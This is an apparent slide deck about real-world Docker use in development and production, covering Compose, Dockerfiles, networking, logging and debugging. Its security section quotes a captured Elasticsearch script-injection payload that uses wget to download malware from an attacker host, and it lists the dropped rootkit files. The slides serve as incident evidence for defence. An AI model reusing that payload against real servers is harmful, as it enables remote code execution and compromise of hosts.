Real World Experiences of Running

Docker in Development and Production

@Ben_Hall
Ben@BenHall.me.uk
OcelotUproar.com / Katacoda.com

@Ben_Hall / Blog.BenHall.me.uk

Software Development Studio

WHO AM I?

Tech Support > Tester > Developer >

Founder

Agenda

Continuous Integration and Development

Orchestration
Security
Logging and Monitoring
Debugging
Scaling

Beyond the hype. How do

containers work in the real world?

doger.io

Container

https://www.docker.com/whatisdocker/

Own Process Space

Own Network Interface
Own Root Directories
Sandboxed
Like a lightweight VM. But its not a VM.

Native CPU
Native Memory
Native IO
No Pre-Allocation
No Performance Overheard

Milliseconds to launch
Still fully isolated

Docker - An open platform for distributed

applications for developers and sysadmins.

Got us to agree on something!

Batteries included but

removable

Building on the shoulders of

giants

Continuous Integration and

Development

Everything is a container

New Starters

Node, Golang, Postgres and

Redis
Katacoda

> docker run p 6379:6379 redis

_.-``__ ''-._
_.-`` `. `_. ''-._
Redis 3.0.3 (00000000/0) 64 bit
.-`` .-```. ```\/ _.,_ ''-._
( '
,
.-` | `, ) Running in standalone mode
|`-._`-...-` __...-.``-._|'` _.-'| Port: 6379
| `-._ `._ / _.-' | PID: 1
`-._ `-._ `-./ _.-' _.-'
|`-._`-._ `-.__.-' _.-'_.-'|
| `-._`-._
_.-'_.-' |
http://redis.io
`-._ `-._`-.__.-'_.-' _.-'
|`-._`-._ `-.__.-' _.-'_.-'|
| `-._`-._
_.-'_.-' |
`-._ `-._`-.__.-'_.-' _.-'
`-._ `-.__.-' _.-'
`-._
_.-'
`-.__.-'
1:M 05 Nov 10:42:24.402 # Server started, Redis version 3.0.3
1:M 05 Nov 10:42:24.402 # WARNING overcommit_memory is set to 0! Background save may fail under low memory condition.
To fix this issue add 'vm.overcommit_memory = 1' to /etc/sysctl.conf and then reboot or run the command 'sysctl
vm.overcommit_memory=1' for this to take effect.
1:M 05 Nov 10:42:24.402 # WARNING you have Transparent Huge Pages (THP) support enabled in your kernel. This will
create latency and memory usage issues with Redis. To fix this issue run the command 'echo never >
/sys/kernel/mm/transparent_hugepage/enabled' as root, and add it to your /etc/rc.local in order to retain the setting after a
reboot. Redis must be restarted after THP is disabled.
1:M 05 Nov 10:42:24.403 # WARNING: The TCP backlog setting of 511 cannot be enforced because
/proc/sys/net/core/somaxconn is set to the lower value of 128.
1:M 05 Nov 10:42:24.403 * The server is now ready to accept connections on port 6379

> docker run --name db -d postgres

> docker logs db
The files belonging to this database system will be owned by user "postgres".
This user must also own the server process.
The database cluster will be initialized with locale "en_US.utf8".
The default database encoding has accordingly been set to "UTF8".
The default text search configuration will be set to "english".
Data page checksums are disabled.
fixing permissions on existing directory /var/lib/postgresql/data ... ok
creating subdirectories ... ok
selecting default max_connections ... 100
selecting default shared_buffers ... 128MB
selecting dynamic shared memory implementation ... posix
creating configuration files ... ok
creating template1 database in /var/lib/postgresql/data/base/1 ... ok
initializing pg_authid ... ok

Docker Compose

> cat docker-compose-dev.yml

redis:
image: redis:2.8.21
ports:
- 6379:6379
restart: always
db:
build: pg-schema # Includes Schema and migrations
ports:
- 5432:5432
environment:
POSTGRES_PASSWORD: 'mysecretpassword'
restart: always
> docker-compose f docker-compose-dev.yml up d

Node.js
> docker run -it --rm
-w /usr/app
-v $(pwd):/usr/app
-v $(pwd)/d_node_modules:/usr/app/node_modules
-p 3000:3000
node:0.10.38
bash

RStudio
> docker run -d -p 8787:8787 rocker/rstudio

> docker run --name=selenium

--privileged
-p 4444:4444 -p 5999:5999
-d vvoyer/docker-selenium-firefox-chrome
> cat load-test.js
function detectBrowser(name) {
wd.remote({ host: 'b2d',
desiredCapabilities: {
browserName: name
}
})
.init()
.url('http://www.whatismybrowser.com/')
.getText('.string-major', function(err, text) {
console.log(name + 'browser was detected as ' + text);
})
.end();
}

['chrome', 'firefox'].forEach(detectBrowser);
https://github.com/BenHall/docker-selenium-example

Building Images

> cat Dockerfile

FROM ubuntu
ENV NODE_VERSION 0.10.40
ENV NPM_VERSION 2.14.1
RUN curl -SLO "https://nodejs.org/dist/v$NODE_VERSION/node-v$NODE_VERSION-linuxx64.tar.gz" \
&& curl -SLO "https://nodejs.org/dist/v$NODE_VERSION/SHASUMS256.txt.asc" \
&& gpg --verify SHASUMS256.txt.asc \
&& grep " node-v$NODE_VERSION-linux-x64.tar.gz\$" SHASUMS256.txt.asc |
sha256sum -c - \
&& tar -xzf "node-v$NODE_VERSION-linux-x64.tar.gz" -C /usr/local --stripcomponents=1 \
&& rm "node-v$NODE_VERSION-linux-x64.tar.gz" SHASUMS256.txt.asc \
&& npm install -g npm@"$NPM_VERSION" \
&& npm cache clear
RUN mkdir -p /usr/src/app
WORKDIR /usr/src/app
COPY . /usr/src/app
RUN npm install
CMD [ "npm", "start" ]

> cat Dockerfile

FROM node:0.10.38
RUN mkdir -p /usr/src/app
WORKDIR /usr/src/app
COPY . /usr/src/app
RUN npm install
CMD [ "npm", "start" ]

> docker build t nodeapp .

> docker run d p 3000 nodeapp

Order Matters

> cat Dockerfile

FROM node:0.10.38
RUN mkdir -p /usr/src/app
WORKDIR /usr/src/app
COPY package.json /usr/src/app/
RUN npm install
COPY . /usr/src/app
CMD [ "npm", "start" ]

> cat Dockerfile-onbuild

FROM node:0.10.38
RUN mkdir -p /usr/src/app
WORKDIR /usr/src/app
ONBUILD COPY package.json /usr/src/app/
ONBUILD RUN npm install
ONBUILD COPY . /usr/src/app
CMD [ "npm", "start" ]
> cat Dockerfile
FROM node:0.10.38-onbuild
EXPOSE 3000

Size Matters

> cat Dockerfile

FROM ocelotuproar/alphine-node:4.2.1-onbuild
EXPOSE 3000

> curl https://raw.githubusercontent.com/OcelotUproar/alphinenode/master/Dockerfile

FROM alpine:3.2
# Thanks to https://github.com/mhart/alpine-node
ENV VERSION=v4.2.1
RUN apk add --update curl make gcc g++ python linux-headers paxctl libgcc libstdc++ && \
curl -sSL https://nodejs.org/dist/${VERSION}/node-${VERSION}.tar.gz | tar -xz && \
cd /node-${VERSION} && \
./configure --prefix=/usr && \
make -j$(grep -c ^processor /proc/cpuinfo 2>/dev/null || 1) && \
make install && \
paxctl -cm /usr/bin/node && \
cd / && \
npm install -g npm@2 && \
find /usr/lib/node_modules/npm -name test -o -name .bin -type d | xargs rm -rf; \
apk del curl make gcc g++ python linux-headers paxctl && \
rm -rf /etc/ssl /node-${VERSION} \
/usr/share/man /tmp/* /var/cache/apk/* /root/.npm /root/.node-gyp \
/usr/lib/node_modules/npm/man /usr/lib/node_modules/npm/doc /usr/lib/node_modules/npm/html

> docker images

scrapbook/redis-node-docker-example 703.3 MB
node:0.10.38-onbuild
702.9 MB
> docker images
scrapbook/redis-node-docker-example 35.4 MB
ocelotuproar/alphine-node:4.2-onbuild 35.02 MB

Go Lang Development
Environment
> docker run -it --rm
-w /go/src/github.com/myapp
-v $(pwd)/vendor/github.com/:/go/src/github.com/
-v $(pwd):/go/src/github.com/myapp
golang:1.4
bash

> cat MakeFile

build-dev copy build-release:
echo Building Release Image"
build-dev:
docker build f Dockerfile-dev t warden-dev .

copy:
docker create --name tmp warden-dev
docker cp tmp:/go/bin/app $(shell pwd)/app
docker rm tmp
build-release:
docker build t ocelotuproar/warden

> cat Dockerfile-dev

FROM golang:latest
RUN mkdir /app
ADD . /app/
WORKDIR /app
RUN CGO_ENABLED=0 GOOS=linux go build -a -installsuffix
cgo -o main .
CMD ["/app/main]
EXPOSE 80
> cat Dockerfile
FROM scratch
EXPOSE 80
COPY app /
CMD ["/app"]

> docker images

scrapbook/docker-http-server 528.9 MB
golang:latest
517.3 MB

> docker images

scrapbook/docker-http-server 5.812 MB

CI becomes very simple

Exit Codes

Private Registry
Like hub.docker.com
Just a container

Docker in Production

Containers cant fix broken

architectures.
But they can help

Production isnt special

Just another environment

Immutable
Disposable Container Pattern

Persisting Data
> docker run v <host-dir>:<container-dir> image
-v /opt/docker/elasticsearch:/data
-v /opt/docker/mysql:/var/lib/mysql
-v /docker/scrapbook/uploads:/app/public/uploads
-v $(PWD):/host
-v /var/log/syslog:/var/log/syslog

Docker Compose

> docker-compose up -d
> cat docker-compose.yml
web:
image: ocelotuproar/katacoda
volumes:
- /opt/projects/katacoda/data:/usr/src/app/data
- /opt/docker/katacoda/db:/usr/src/app/ocelite-db
- /var/run/docker.sock:/var/run/docker.sock
ports:
- 3000
environment:
VIRTUAL_HOST: 'katacoda.com,*.katacoda.com'
NODE_ENV: 'production
restart: always

// Production version of docker-compose-dev.yml

> docker-compose up # Start containers

d
# In background
Recreating katacoda_nginx_1...
Recreating katacoda_redis_1...
Recreating katacoda_db_1...
Recreating katacoda_elasticsearch_1...
Recreating katacoda_web_1
> docker-compose stop # Stop containers
Stopping katacoda_web_1...
Stopping katacoda_elasticsearch_1...
Stopping katacoda_db_1...
Stopping katacoda_redis_1...
Stopping katacoda_nginx_1...

Sidekick Containers for

backup
Pushes to Dropbox
Cost effective

Auto Discovery is key to a

good container architecture

Docker Events

Problem: Port 80

Problematic Approach
> docker run -d --name nginx_root
--link blog_benhall-1:blog_benhall-1
--link katacoda-1:katacoda-1
--link scrapbook_web_1:scrapbook_web_1
--link brownbag_web_1:brownbag_web_1
-p 80:80
-v /opt/docker/nginx/www:/data
-v /opt/docker/nginx/sites:/etc/nginx/sites-enabled
-v /opt/docker/nginx/logs:/var/log/nginx
nginx

Nginx Proxy
https://github.com/jwilder/nginx-proxy

https://www.dropbox.com/s/2f6y2frfjafc409/nginx-proxy-optimised.gif?dl=0

 -v /var/run/docker.sock:/tmp/docker.sock
VIRTUAL_HOST=my.container.com

Problem: Zero Downtime

Rolling Updates Node.js

> docker run e VIRTUAL_HOST=myapp myapp:v2.0
// Make some changes
> docker build t myapp:v2.1
> docker run e VIRTUAL_HOST=myapp myapp:v2.1

// Load Balanced
> docker stop <container for myapp:v2.0>

Not Great.

Problem: Scaling Node.js

Using Nginx Proxy to scale

Node.js
> docker-compose scale web=5

Problem: Multiple Docker

Hosts

Software Defined Network

Weave
> weave launch
> docker run name ws web-server
// second host
> weave launch <host-01 ip>

> docker run --name ws -d -p 80:80 \

scrapbook/docker-http-server
> docker run ubuntu ping -c1 ws
ping ws.weave.local (10.0.0.1)

Weave DNS
> docker run --name ws -d -p 80:80 \
scrapbook/docker-http-server
> docker run --name ws -d -p 80:80 \
scrapbook/docker-http-server
> docker run --name ws -d -p 80:80 \
scrapbook/docker-http-server
> docker run ubuntu ping -c1 ws
ping ws.weave.local (10.0.0.1)
> docker run ubuntu ping -c1 ws
ping ws.weave.local (10.0.0.2)
> docker run ubuntu ping -c1 ws
ping ws.weave.local (10.0.0.3)

Auto Discovery allows you to

dynamically adapt your
infrastructure

Nginx

Wordpress
blog_benhall

> docker run -d --name nginx

-p 80:80
--link blog_benhall:wordpress
nginx-wordpress-example

Nginx

Varnish

Wordpress

blog_benhall_varnish

blog_benhall

> docker run -d name varnish

--link blog_benhall:websiteBeingCached
benhall/docker-varnish

> docker run -d --name nginx

-p 80:80
--link varnish:wordpress
nginx-wordpress-example

Common Question: Is it
secure?

Hosting provider becomes

unhappy

org.elasticsearch.search.SearchParseException: [index][3]:
query[ConstantScore(*:*)],from[-1],size[1]: Parse Failure [Failed to parse
source
[{"size":1,"query":{"filtered":{"query":{"match_all":{}}}},"script_fields":{"exp":{"s
cript":"import java.util.*;\nimport java.io.*;\nString str = \"\";BufferedReader br
= new BufferedReader(new
InputStreamReader(Runtime.getRuntime().exec(\"wget -O /tmp/xdvi
http://<IP Address>:9985/xdvi\").getInputStream()));StringBuilder sb = new
StringBuilder();while((str=br.readLine())!=null){sb.append(str);}sb.toString();"
}}}]]

http://blog.benhall.me.uk/2015/09/what-happens-when-an-elasticsearch-container-is-hacked/

C /bin
C /bin/netstat
C /bin/ps
C /bin/ss
C /etc
C /etc/init.d
A /etc/init.d/DbSecuritySpt
A /etc/init.d/selinux
C /etc/rc1.d
A /etc/rc1.d/S97DbSecuritySpt
A /etc/rc1.d/S99selinux
C /etc/rc2.d
A /etc/rc2.d/S97DbSecuritySpt
A /etc/rc2.d/S99selinux
C /etc/rc3.d
A /etc/rc3.d/S97DbSecuritySpt
A /etc/rc3.d/S99selinux
C /etc/rc4.d
A /etc/rc4.d/S97DbSecuritySpt
A /etc/rc4.d/S99selinux
C /etc/rc5.d

A /etc/rc5.d/S97DbSecuritySpt
A /etc/rc5.d/S99selinux
C /etc/ssh
A /etc/ssh/bfgffa
A /os6
A /safe64
C /tmp
A /tmp/.Mm2
A /tmp/64
A /tmp/6Sxx
A /tmp/6Ubb
A /tmp/DDos99
A /tmp/cmd.n
A /tmp/conf.n
A /tmp/ddos8
A /tmp/dp25
A /tmp/frcc
A /tmp/gates.lod
A /tmp/hkddos
A /tmp/hsperfdata_root
A /tmp/linux32

A /tmp/linux64
A /tmp/manager
A /tmp/moni.lod
A /tmp/nb
A /tmp/o32
A /tmp/oba
A /tmp/okml
A /tmp/oni
A /tmp/yn25
C /usr
C /usr/bin
A /usr/bin/.sshd
A /usr/bin/dpkgd
A /usr/bin/dpkgd/netstat
A /usr/bin/dpkgd/ps
A /usr/bin/dpkgd/ss

http://blog.benhall.me.uk/2015/09/what-happens-when-an-elasticsearch-container-is-hacked/

Read Only Containers

> docker run -read-only \
v /data:/data \
elasticsearch

Only as secure as the

contents running in the
container

Logging and Monitoring

All Stdout and StdErr logged

Logs fill disks

Docker Logging Options

> docker run --log-driver=syslog redis
> docker run --log-driver=none redis
> docker run --log-driver=json-file \
--log-opt="" \
redis
--log-opt max-size=[0-9+][k|m|g]
--log-opt max-file=[0-9+]

--log-opt max-size=50m
--log-opt max-file=100

ELK + LogSpout
> docker run -d \
-p 8000:8000 \
-v /var/run/docker.sock:/tmp/docker.sock \
--name logspout \
gliderlabs/logspout:master syslog://192.168.99.100:5000

https://github.com/benhall/docker-elk

> docker run -d

--restart=always # Restart if exits non-zero
redis

Health Endpoints

Debugging

> docker exec it <container-name> bash

> docker exec -it scrapbookv2prototype_nginx_1 \
cat /etc/nginx/conf.d/default.conf
upstream katacoda.com {
server 172.17.0.30:3000;
}
server {
server_name katacoda.com;
listen 80 ;
access_log /var/log/nginx/access.log vhost;
location / {
proxy_pass http://katacoda.com;
proxy_set_header Upgrade $http_upgrade;
proxy_set_header Connection "upgrade";
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header Host $host;
proxy_http_version 1.1;
}

> docker run it --name sysdig

--privileged
-v /var/run/docker.sock:/host/var/run/docker.sock
-v /dev:/host/dev
-v /proc:/host/proc:ro
-v /boot:/host/boot:ro
-v /lib/modules:/host/lib/modules:ro
-v /usr:/host/usr:ro
sysdig/sysdig

Scaling

www.katacoda.com

Want to help build the future of

developer learning?
Remote OK!
Developer Relations
Content Authors (Part time / Freelance)

Summary
Batteries included but removable

Containers are a new way of thinking,

embrace and extend
New tools and approaches to solving
problems
Dont corrupt your host. Everything as a
container

Thank you!

@Ben_Hall
Ben@BenHall.me.uk
Blog.BenHall.me.uk
www.Katacoda.com